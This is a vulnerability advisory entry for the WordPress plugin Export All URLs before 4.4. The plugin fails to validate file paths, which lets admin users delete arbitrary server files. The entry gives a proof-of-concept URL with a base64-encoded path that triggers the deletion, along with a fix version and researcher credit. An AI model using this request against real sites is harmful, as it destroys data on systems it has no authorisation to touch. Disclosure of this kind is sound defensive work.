WordPress Plugin Vulnerabilities

Export All URLs < 4.4 - Admin+ Arbitrary System File Removal

Description

The plugin does not validate the path of the file to be removed on the system which is supposed to be the CSV file. This could allow high privilege users to delete arbitrary file from the server

Proof of Concept

# File to remove: /var/www/vhosts/target/httpdocs/blog/wp-content/uploads/test
# Base64 the full path: L3Zhci93d3cvdmhvc3RzL3RhcmdldC9odHRwZG9jcy9ibG9nL3dwLWNvbnRlbnQvdXBsb2Fkcy90ZXN0


https://example.com/wp-admin/tools.php?page=extract-all-urls-settings&del=y&f=L3Zhci93d3cvdmhvc3RzL3RhcmdldC9odHRwZG9jcy9ibG9nL3dwLWNvbnRlbnQvdXBsb2Fkcy90ZXN0&_wpnonce=NONCE

Affects Plugins

Fixed in 4.4

References

Classification

Type
FILE DELETION
CWE

Miscellaneous

Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-08-08 (about 1 years ago)
Added
2022-08-08 (about 1 years ago)
Last Updated
2023-05-05 (about 1 years ago)

Other